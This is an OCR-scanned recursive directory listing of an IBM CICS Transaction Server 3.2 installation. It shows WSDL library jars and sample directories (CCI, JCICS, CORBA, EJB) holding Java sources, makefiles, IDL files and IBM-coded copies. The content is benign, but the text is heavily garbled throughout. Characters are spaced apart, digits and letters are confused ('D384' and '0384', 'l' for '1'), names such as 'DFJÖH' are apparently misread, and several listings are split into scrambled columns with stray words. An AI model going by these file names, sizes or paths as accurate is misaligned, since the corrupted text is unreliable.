- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 7 8 0 0 3 Mar 5 1 7 : 2 8 df j w sdl . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 0 7 0 1  Mar 5 1 7 : 2 8 e core . change . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 5 0 0 9 8  Mar 5 1 7 : 2 8 e core . j ar 
-rwxrwxr-x  l SUPERUSR 0 3 8 4  3 1 0 4 8 1  Mar 5 l 7 : 2 8 w oden . j ar  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 8 4 2 9  Mar 5 1 7 : 2 8 wsdl 4 j . j a r 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 0 3 6 3 0  Mar 5 1 7 : 2 8 x sd . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 5 1 2 6  Mar 5 1 7 : 2 8 x sd . re sources . j ar 

. / SYSTEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / l ib /wsdl / IBM : 
total  5 5 4 4 
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-rwxrwxr-x  l SUPERUSR D3 8 4  4 7 8 0 0 3 Mar 5 1 7 : 2 8 DFJÖH 1 7 6  
- rwxrwxr-x l SUPERUSR D 3 8 4  1 5 6 3 9 6  Mar 5 1 7 : 2 8 DFJÖH 1 7 7  
-rwxrwxr-x  l SUPERUSR D 3 8 4  7 7 5 7 Mar 5 1 7 : 2 8 DFJÖH 1 7 8  
- rwxrwxr-x  l SUPERUSR D3 8 4  7 0 7 0 1  Mar 5 1 7 : 2 8 DFJÖH 1 7 9  
- rwxrwxr-x  l SUPERUSR D3 8 4  7 5 0 0 9 8  Mar 5 1 7 : 2 8 DFJÖH 1 8 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 4 8 4 2 9  Mar 5 1 7 : 2 8 DFJÖH 1 8 2  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 0 3 6 3 0  Mar 5 1 7 : 2 8 DFJÖH 1 8 3  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 5 1 2 6  Mar 5 1 7 : 2 8 DFJÖH 1 8 4  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFJÖH 1 8 6  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFJÖH 1 8 7  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 2 8 3 0 2  Mar 5 1 7 : 2 8 DFJÖH2 2 9  
- rwxrwxr-x  l SUPERUSR D3 8 4  3 1 0 4 8 1  Mar 5 1 7 : 2 8 DFJÖH2 3 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  5 7 9 0 Mar 5 1 7 : 2 8 DFJÖH2 3 1  

. / SYS TEM/ tmp / a 0 / c ic s t s / ci cs t s 3 2 / l ib /wsdl o ld : 
total  5 4 3 2  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 1 4 2 Mar 5 1 7 : 2 8 DFHLS 2WS 
- rwxrwxr-x  l SUPERUSR D3 8 4  1 2 2 0  Mar 5 1 7 : 2 8 DFHWS 2 LS 
- rwxr-xr-x  l SUPERUSR D3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFHWS 2 LS org 
drwxrwxr-x  2 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
drwxrwxr-x  2 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM OLD 
- rwxrwxr-x  l SUPERUSR D3 8 4  5 7 9 0  Mar 5 1 7 : 2 8 Name spaceContext . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 2 8 3 0 2  Mar 5 1 7 : 2 8 Xml S chema . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 5 6 3 9 6  Mar 5 1 7 : 2 8 common . j a r  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 7 5 7 Mar 5 1 7 : 2 8 common . re s ources . j ar 
- rwxrwxr-x l SUPERUSR D 3 8 4  4 0 1 0 5 6  Mar 5 1 7 : 2 8 dfj w sdl . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 0 7 0 1  Mar 5 1 7 : 2 8 e core . change . j ar  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 5 0 0 9 8 Mar 5 1 7 : 2 8 e core . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  3 1 0 4 8 1  Mar 5 l 7 : 2 8 w oden . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 4 8 4 2 9  Mar 5 1 7 : 2 8 w sdl 4 j . j a r  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 0 3 6 3 0  Mar 5 1 7 : 2 8 x sd . j ar  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 5 1 2 6  Mar 5 1 7 : 2 8 x sd . resources . j ar 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / l ib /wsdl old/ IBM :  
total  5 5 4 4 
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 7 8 0 0 3 Mar 5 1 7 : 2 8 DFJÖH 1 7 6  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 5 6 3 9 6  Mar 5 1 7 : 2 8 DFJÖH 1 7 7  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 7 5 7 Mar 5 1 7 : 2 8 DFJÖH 1 7 8  
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- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 0 7 0 1  Mar 5 1 7 : 2 8 DFJÖH 1 7 9  
- rwxrwxr-x l SUPERUSR 0 3 8 4  7 5 0 0 9 8 Mar 5 1 7 : 2 8 DFJÖH 1 8 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 8 4 2 9  Mar 5 1 7 : 2 8 DFJÖH 1 8 2  
- rwxrwxr-x  l SUPERUSR 03 8 4  7 0 3 6 3 0  Mar 5 1 7 : 2 8 DFJÖH 1 8 3  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 5 1 2 6  Mar 5 1 7 : 2 8 DFJÖH 1 8 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFJÖH 1 8 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFJÖH 1 8 7  
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 2 8 3 0 2 Mar 5 1 7 : 2 8 DFJÖH2 2 9  
- rwxrwxr-x l SUPERUSR 03 8 4  3 1 0 4 8 1  Mar 5 1 7 : 2 8 DFJÖH2 3 0  
- rwxrwxr-x l SUPERUSR 03 8 4  5 7 9 0 Mar 5 1 7 : 2 8 DFJÖH2 3 1  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / l ib /wsdl old/ IBM OLD : 
total  5 3 9 2  
-rwxrwxr-x  l SUPERUSR 03 8 4  4 0 1 0 5 6  Mar 5 1 7 : 2 8 DFJÖH 1 7 6  
- rwxrwxr-x l SUPERUSR 03 8 4  1 5 6 3 9 6  Mar 5 1 7 : 2 8 DFJÖH 1 7 7  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 7 5 7 Mar 5 1 7 : 2 8 DFJÖH 1 7 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 0 7 0 1  Mar 5 1 7 : 2 8 DFJÖH 1 7 9  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 5 0 0 9 8  Mar 5 1 7 : 2 8 DFJÖH 1 8 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 8 4 2 9  Mar 5 1 7 : 2 8 DFJÖH 1 8 2  
- rwxrwxr-x l SUPERUSR 0 3 8 4  7 0 3 6 3 0  Mar 5 1 7 : 2 8 DFJÖH 1 8 3  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 5 1 2 6  Mar 5 1 7 : 2 8 DFJÖH 1 8 4  
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 2 2 0  Mar 5 1 7 : 2 8 DFJÖH 1 8 6  
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 DFJÖH 1 8 7  
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 2 8 3 0 2  Mar 5 1 7 : 2 8 DFJÖH2 2 9  
- rwxrwxr-x l SUPERUSR 0 3 8 4  3 1 0 4 8 1  Mar 5 1 7 : 2 8 DFJÖH2 3 0  
- rwxrwxr-x l SUPERUSR 0 3 8 4  5 7 9 0  Mar 5 1 7 : 2 8 DFJÖH2 3 1  

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s : 
total  1 4 4  
drwxrwxr-x  3 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8 cci  
drwxrwxr-x  4 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 df j c i c s  
drwxrwxr-x  5 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 df j corb 
drwxrwxr-x  4 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 e j b  
drwxrwxr-x 3 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8  j dbc 
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 pipe l ines  
drwxrwxr-x 3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 u s eroutputcl a s s  
drwxrwxr-x  6 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 webservices  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 w s -trust  
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. / SYS TEM/ tmp / a 0 / c ic st s / c i c s t s 3 2 / s ampl e s / cci : 
total  1 1 2  
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 1 0 3 6  Mar 5 1 7 : 2 8 C I CSCCI Sample . j ava 
- rwxrwxr-x  l SUPERUSR 03 8 4  8 8 2 8  Mar 5 1 7 : 2 8 C I CSCCI Sample s . j ar 
- rwxrwxr-x  l SUPERUSR 03 8 4  6 4 1 3  Mar 5 1 7 : 2 8 C I CSConne ctionFactoryPub l i s h . j ava 
- rwxrwxr-x  l SUPERUSR 03 8 4  4 8 9 3 Mar 5 1 7 : 2 8 C I CSConne ctionFactoryRetract . j ava 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 3 5 4 Mar 5 1 7 : 2 8 JavaStringRecord . j ava 

. / SYSTEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s / cc i / IBM : 
total  9 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 8 2 8  Mar 5 1 7 : 2 8 OFJÖH 1 3 5  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 1 0 3 6  Mar 5 1 7 : 2 8 OFJÖH 1 6 9  
- rwxrwxr-x  l SUPERUSR 03 8 4  6 4 1 3  Mar 5 1 7 : 2 8 OFJÖH 1 7 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 8 9 3 Mar 5 1 7 : 2 8 OFJÖH 1 7 1  
- rwxrwxr-x  l SUPERUSR 03 8 4  7 3 5 4  Mar 5 1 7 : 2 8 OFJÖH 1 7 2  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj c ic s : 
total  8 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 1 4 2  Mar 5 1 7 : 2 8 He l l oWorld . ma k  
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 03 8 4  2 0 6 9 Mar 5 1 7 : 2 8 Make f i l e  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 1 8 1  Mar 5 1 7 : 2 8 P rogramContro l . ma k  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 0 5 6  Mar 5 1 7 : 2 8 T OQ . mak  
- rwxrwxr-x  l SUPERUSR 03 8 4  2 0 9 9 Mar 5 1 7 : 2 8 T SQ . mak  
- rwxrwxr-x l SUPERUSR 03 8 4  1 9 8 0  Mar 5 1 7 : 2 8 Web . mak  
drwxrwxr-x  7 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 exarop l e s  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj c ic s / IBM :  
total  4 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 1 4 2  Mar 5 l 7 : 2 8 OFJÖH 0 1 3  
- rwxrwxr-x l SUPERUSR 03 8 4  2 1 8 1  Mar 5 1 7 : 2 8 OFJÖH 0 1 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  2 0 5 6  Mar 5 1 7 : 2 8 OFJÖH 0 1 5  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 0 9 9  Mar 5 1 7 : 2 8 OFJÖH 0 1 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 0 6 9 Mar 5 1 7 : 2 8 OFJÖH 0 2 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 9 8 0  Mar 5 1 7 : 2 8 OFJÖH 1 7 5  
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. / SYS TEM/ tmp / a 0 / c i c st s / c i c s t s 3 2 / s ampl e s / df j c ic s / example s :  
total  8 0  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 Hel l oWorld  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 P rogramContro l 
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 T OQ 
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 T SQ  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 Web 

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s / df j c ic s / example s / He l l oWorld : 
total  4 8  
- rw- r - - r - - l SUPERUSR 0 3 8 4  7 2 0  Mar 5 1 7 : 2 8 He l loC ICSWorld . c l a s s  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  6 7 7  Mar 5 1 7 : 2 8 He l loC ICSWorl d . j ava 
- rw- r - - r - - l SUPERUSR 0 3 8 4  7 6 3 Mar 5 1 7 : 2 8 He l l oWorld . cl a s s  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 6 6  Mar 5 1 7 : 2 8 He l loWorld . j ava 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 I BM 

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /dfj c ic s / example s / He l l oWorld/ IBM : 
total  1 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  6 7 7  Mar 5 1 7 : 2 8 OFJÖH0 1 7  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 6 6  Mar 5 1 7 : 2 8 OFJÖH 0 1 8  

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /dfj c ic s / example s / ProgramControl : 
total  6 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 3 8 8  Mar 5 1 7 : 2 8 C l a s s Four . j ava 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 4 5 7 Mar 5 1 7 : 2 8 C l a s sOne . j ava 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 6 9 0 Ma r 5 1 7 : 2 8 C l a s s Three . j ava 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 4 1 5  Mar 5 1 7 : 2 8 C l a s s Two . j ava 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 

. / SYSTEM/ tmp / a 0 / c ic st s / ci c s t s 3 2 / s ampl e s /dfj c ic s / example s / ProgramControl / IBM : 
total  4 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 4 5 7 Mar 5 1 7 : 2 8 OFJÖH 0 1 9  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 4 1 5  Ma r 5 1 7 : 2 8 OFJÖH 0 2 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 6 9 0  Mar 5 1 7 : 2 8 OFJÖH2 0 9  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 3 8 8  Mar 5 1 7 : 2 8 OFJÖH2 1 0  

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s /dfj c ic s / example s / TOQ : 
total  3 2  
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- rwxrwxr-x  
drwxrwxr-x  

l SUPERUSR D3 8 4  
2 SUPERUSR D3 8 4  

6 6 5 7  Mar 
8 1 9 2 Mar 

5 1 7 : 2 8 C l a s s One . j ava 
5 1 7 : 2 8 I BM 

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s / df j c ic s / example s /TDQ / IBM :  
total  1 6  
- rwxrwxr-x  l SUPERUSR D3 8 4  6 6 5 7  Ma r 5 1 7 : 2 8 DFJÖH 0 2 1 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s / dfj c ic s / exampl e s / TSQ : 
total  5 6  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 5 4 8  Mar 5 1 7 : 2 8 C l a s s One . j ava 
- rwxrwxr-x  l SUPERUSR D3 8 4  1 2 5 4 0  Mar 5 1 7 : 2 8 Common . j ava 
drwxrwxr-x  2 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s /dfj c ic s / example s / TSQ/ IBM :  
total  4 0  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 5 4 8  Mar 5 1 7 : 2 8 DFJÖH0 2 2  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 2 5 4 0  Mar 5 1 7 : 2 8 DFJÖH 0 2 3  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj c ic s / example s /Web : 
total  5 6  
drwxrwxr-x  
- rwxrwxr-x  

2 SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 I BM 
1 7 9 9 5 Mar 5 1 7 : 2 8 S ampl e l . j ava 

. / SYS TEM/ tmp / a 0 / c i c st s / ci cs t s 3 2 / s ampl e s /dfj c ic s / example s /Web / IBM : 
total  4 0  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 7 9 9 5 Mar 5 1 7 : 2 8 DFJÖH 1 6 5  

. / SYSTEM/ tmp / a 0 / c ic st s / ci c s t s 3 2 / s ampl e s /dfj corb : 
total  6 4  
drwxrwxr-x  5 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 BankAccount 

Report 

- rwxrwxr-x  l SUPERUSR D3 8 4  2 7 3 9  Mar 5 1 7 : 2 8 CosLi feCycle . idl 
- rwxrwxr-x  l SUPERUSR D3 8 4  2 6 1 5  Mar 5 1 7 : 2 8 CosNaming . idl 
drwxrwxr-x  5 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 He l l oWorld  
drwxrwxr-x  2 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 

. / SYS TEM/ tmp / a 0 / c ic s t s / ci c s t s 3 2 / s ampl e s /dfj corb /Ban kAccount : 
total  5 6  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 1 6 3 Ma r 5 1 7 : 2 8 BankAccount . i dl 
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drwxrwxr-x  
drwxrwxr-x  
drwxrwxr-x  

2 SUPERUSR D 3 8 4  
3 SUPERUSR D 3 8 4  
3 SUPERUSR D 3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 I BM 
8 1 9 2 Mar 5 1 7 : 2 8 j avac l ient 
8 1 9 2 Mar 5 1 7 : 2 8 s e rve r 

Report 

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s / dfj corb /BankAccount / IBM :  
total  8 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 1 6 3 Mar 5 1 7 : 2 8 DFJÖH O O S  

. / SYS TEM/ tmp / a 0 / c ic st s / ci cs t s 3 2 / s ampl e s / dfj corb /BankAccount / j avac l i ent : 
total  3 2  
drwxrwxr-x  
- rwxrwxr-x  

2 SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 I BM 
5 2 7 9  Mar 5 1 7 : 2 8 bankL ineModeC l ient . j ava 

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s /dfj corb /BankAccount / j avacl ient / IBM :  
total  1 6  
- rwxrwxr-x  l SUPERUSR D 3 8 4  5 2 7 9  Ma r 5 1 7 : 2 8 DFJÖH 0 0 6  

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /dfj corb /BankAccount / se rver : 
total  8 8  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 3 8 0  Mar 5 1 7 : 2 8 AccountRecord . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 0 1 9  Mar 5 1 7 : 2 8 C redi tChe ckComma . j ava 
drwxrwxr-x 2 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 6 4 Ma r 5 1 7 : 2 8 Make f i l e  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 6 1 6  Mar 5 1 7 : 2 8 Make f i l e . bank 
- rwxrwxr-x  l SUPERUSR D 3 8 4  9 8 9 5 Mar 5 1 7 : 2 8 BankAccount impl . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 3 7 5  Mar 5 1 7 : 2 8 BankAccountL i s t impl . j ava 

. / SYSTEM/ tmp/ a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /dfj corb /BankAccoun t / server / IBM :  
total  7 2  
- rwxrwxr-x  l SUPERUSR D 3 8 4  9 8 9 5 Mar 5 1 7 : 2 8 DFJÖH 0 0 7  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 3 7 5  Mar 5 1 7 : 2 8 DFJÖH 0 0 8  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 3 8 0  Mar 5 1 7 : 2 8 DFJÖH 0 0 9  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 0 1 9  Mar 5 1 7 : 2 8 DFJÖH O l O  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 6 4 Mar 5 l 7 : 2 8 DFJÖH O l l  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 6 1 6  Mar 5 1 7 : 2 8 DFJÖH 0 1 2  

. / SYSTEM/ tmp / a 0 / c ic s t s / c i cs t s 3 2 / s ampl e s /dfj corb /He l l oWorld : 
total  5 6  
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Report 

- rwxrwxr-x  l SUPERUSR 03 8 4  8 7 9  Mar 5 1 7 : 2 8 He l l oWorld . idl 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 c l ient  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s e rve r 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj corb /Hel loWorld/ IBM :  
total  8 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 7 9  Mar 5 1 7 : 2 8 OFJÖH 0 3 0  

. / SYS TEM/ tmp / a 0 / c ic st s / ci c s t s 3 2 / s ampl e s /dfj corb / He l l oWorld/ cl ient : 
total  2 4  
- rwxrwxr-x  
drwxrwxr-x  

l SUPERUSR 03 8 4  
2 SUPERUSR 0 3 8 4  

3 8 2 7  Mar 
8 1 9 2 Mar 

5 1 7 : 2 8 He l loWorldCl ient . j ava 
5 1 7 : 2 8 I BM 

. / SYS TEM/ tmp / a 0 / c i c st s / ci cs t s 3 2 / s ampl e s /df j corb / He l loWorld/ c l ient / I BM :  
total  8 
- rwxrwxr-x  l SUPERUSR 03 8 4  3 8 2 7  Mar 5 1 7 : 2 8 OFJÖH 0 3 2  

. / SYSTEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj corb / He l loWorld/ server : 
total  4 0  
drwxrwxr-x 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x l SUPERUSR 03 8 4  1 1 4 5  Mar 5 1 7 : 2 8 Make f i l e  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 7 1 6  Mar 5 1 7 : 2 8 Make f i l e . he l l o  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 9 3 Mar 5 1 7 : 2 8 He l l oWorldimpl . j ava 

-

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /dfj corb / Hel loWorld/ server / I BM :  
total  2 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 1 9 3 Mar 5 1 7 : 2 8 OFJÖH 0 3 1  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 1 4 5  Mar 5 1 7 : 2 8 OFJÖH 0 3 3  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 7 1 6  Mar 5 1 7 : 2 8 OFJÖH 0 3 4  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /dfj corb / IBM : 
total  1 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 6 1 5  Mar 
- rwxrwxr-x  l SUPERUSR 03 8 4  2 7 3 9  Mar 

. / SYS TEM/ tmp / a 0 / c i c st s / ci cs t s 3 2 / s ampl e s / e j b : 
total  3 2  

5 1 7 : 2 8 OFJÖH 0 2 8  
5 1 7 : 2 8 OFJÖH 0 2 9 
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drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 bankaccount 
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 he l l oworld  

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s amp l e s / e j b /ban kaccount : 
total  1 4 8 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 5 6 2 9  Mar 5 1 7 : 2 8 C i c s S ample . ear  
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 5 6 7 Ma r 5 1 7 : 2 8 S ampleCLI . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 1 9 5 4  Ma r 5 1 7 : 2 8 S ampleEJB . j ar 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 9 3 6 4 8  Mar 5 1 7 : 2 8 S ampl eVAJ . dat 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 0 1 4 0 5 Mar 5 1 7 : 2 8 e ab l ib . j a r  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 9 3 0  Mar 5 1 7 : 2 8 readme . txt  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 2 8 0 4  Mar 5 1 7 : 2 8 recj ava . j ar 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s / e j b /ban kaccount / IBM :  
total  1 4 6 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 0 1 4 0 5 Mar 5 1 7 : 2 8 OFJÖH 1 1 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 2 8 0 4  Mar 5 1 7 : 2 8 OFJÖH 1 1 7  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 1 9 5 4  Mar 5 1 7 : 2 8 OFJÖH 1 1 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 5 6 2 9  Mar 5 1 7 : 2 8 OFJÖH 1 1 9  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 9 3 6 4 8  Mar 5 1 7 : 2 8 OFJÖH 1 4 1  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 5 6 7 Mar 5 1 7 : 2 8 OFJÖH 1 4 2  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4 9 3 0  Mar 5 1 7 : 2 8 OFJÖH 1 4 4  

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s / e j b /he l l oworld : 
total  2 1 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 1 8 0 3 Mar 5 1 7 : 2 8 C ICSHe l l oWorl d . ea r  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 6 3 0 9  Ma r 5 1 7 : 2 8 He l l oWorldCL I . j ar  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 8 1 6 4 Mar 5 1 7 : 2 8 He l l oWorldEJB . j ar 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 3 3 9  Mar 5 1 7 : 2 8 readme . txt  
